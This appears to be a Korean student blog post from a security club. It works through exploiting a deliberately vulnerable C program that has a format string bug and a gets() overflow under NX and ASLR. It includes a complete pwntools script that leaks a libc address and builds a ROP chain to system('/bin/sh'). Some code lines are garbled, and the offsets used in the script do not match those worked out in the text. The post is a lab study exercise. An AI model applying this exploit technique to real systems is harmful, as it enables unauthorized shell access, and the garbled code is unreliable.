NX-bit binary exploit ( with ASLR )
Sunrin/Layer7

NX-bit binary exploit ( with ASLR )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
  
void setup()
{
        setvbuf(stdin, 020);
        setvbuf(stdout, 020);
        setvbuf(stderr, 020);
}
 
int main(void)
{
        setup();
 
        char buf[0x100];
 
        printf("What's your name? : ");
        gets(buf); // Buffer Overflow 
 
        printf("Hello, ");
        printf(buf); // Format String Bug
        printf("!!!\n");
         
        printf("Last greeting : ");
        gets(buf);
        
        return 0;
}
 
cs

code.c 파일 안의 내용이다.

컴파일 옵션 : gcc -o test code.c -fno-stack-protector -z norelro -no-pie


 

0. Format String Bug

printf() 함수 C source code이다. 

printf()의 취약점인 Format String Bug를 이용한다.

buf에 서식문자를 입력했을 때, 입력한 서식문자의 기능대로 출력하는 취약점이다.

 

배열의 이름은 그 배열의 첫 번째 주소를 가리킨다.

위에 소스코드를 봤을 때 printf는 인자로 포인터를 받는다.

그렇기 때문에 (code.c) 에서 printf(buf)라고 코드를 짜도 정상적으로 돌아간다.

 

서식문자 %p를 입력하면 메모리 주소를 알 수 있다.


함수 호출 규약 : rdi rsi rdx rcx r8 r9 그리고 stack

 

함수를 호출시키기 전에 __libc_start_main을 실행한 다음

main을 실행하고

끝날 때도 __libc_start_main으로 끝난다.

 

<pic4>

 

그렇기 때문에 __libc_start_main+240는 언제나 존재하는 것이고,

이 점을 이용하여 libc의 시작 주소를 알 수 있다.

 

 

 


1. 시스템 함수의 주소

pwndbg> p system 을 이용해서 시스템 함수의 주소를 찾는다.

시스템 함수의 주소 : 0x7fd557b134e0

 

 


 

2. 라이브러리의 시작 주소 (베이스 주소)

 

위에 두 줄은 컴파일 할 때 결정나는 부분이기 때문에 절대로 바뀌지 않는다. ASLR의 영향을 받지 않는다.

 

나머지는 실행하면서 결정되는 부분이어서 계속 바뀐다.

라이브러리 주소는 계속 바뀐다. (일정하지 않은 부분이라는 소리)

 

라이브러리의 시작 주소를 알면 모든 값의 주소를 알 수 있다. (원하는 함수를 호출, 원하는 걸 모두 쓸 수 있다)

 

 

 

 


 

3. 고정된 값 (오프셋)

 

 

위에 0.Format String Bug에서 확인했던 것처럼

system 함수는 libc 안에 있기 때문에

(시스템 함수의 주소) - (라이브러리의 주소) 는 항상 고정이다

 

위에서 구한 시스템 함수의 주소와 라이브러리의 시작 주소를 가지고 고정값을 찾는다.

 

(고정된 값) = (시스템 함수의 주소) - (라이브러리의 시작 주소)

 

pwndbg> p 0x7fcea87ae4e0 - 0x7fcea875f000

X = 324832이다.

324832를 hex로 바꾼 값을 구해보면

 

pwndbg> hex(324832)

X(hex) = 0x04f4e0 임을 알 수 있다.

 


4. rdi 구하기

gadget을 이용해서 rdi 값을 구한다.

rdi 값은 0x00000000004007a3이다.

 

 


5. Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
 
binary = "./test"
= ELF(binary)
libc = e.libc
= process(binary)
 
gdb.attach(r)
 
r.recvuntil("What's your name? : ")
r.sendline("%39$p")
 
 
r.recvuntil("Hello, ")
= int(r.recv(14),16- (libc.symbols["__libc_start_main"+ 240)
system = l + 0x0453a0 
sh = l + 0x18ce17
 
rdi = 0x00000000004007a3 # pop rdi ; ret
 
log.info("libc base : " + hex(l))
log.info("system : " + hex(system))
log.info("/bin/sh : " + hex(sh))
 
r.recvuntil("Last greeting : ")
r.sendline("A" * 0x108 + p64(rdi) + p64(sh) + p64(system))
 
 
r.interactive()
 
cs

:11

Format String Bug를 이용해서 Stack에 있는 주소를 출력한다.

 

:14

"Hello, "까지 문자열을 가져온다.

 

:15

출력한 주소를 r.recv로 받는다. 

 - (r.recv(14),16) : 14자리를 입력받는다.

 - (r.recv(14),16)  : 16진수(hex)로 입력받는다.

 

라이브러리 주소와 오프셋 주소를 빼서 libc_base 주소를 계산한다.

 

:16 17

system, sh의 고정된 값(오프셋)을 l 에 더해준다.

 

:19 

gadget으로 구한 rdi값을 rdi 변수에 넣어준다.

 

가젯을 모두 구했으니, bin/sh (쉘)을 첫 번째 인자로 넣는다.

 

그리고 system 함수로 이동하면 bin/sh가 실행되게 된다.

 

 

<처음부터 혼자 힘으로 익스플로잇 코드 작성해보기>

<익스플로잇 코드 돌린 거를 캡처해서 올리기>

 

 

'Sunrin > Layer7' 카테고리의 다른 글

Codegate 2018 BaskinRobbins31  (0) 2020.09.02
Web hacking project idea note  (0) 2020.08.30
NX-bit binary exploit  (0) 2020.08.25
No-mitigation binary exploit  (0) 2020.08.18
Webhacking Project - PHP와 MySQL  (0) 2020.08.12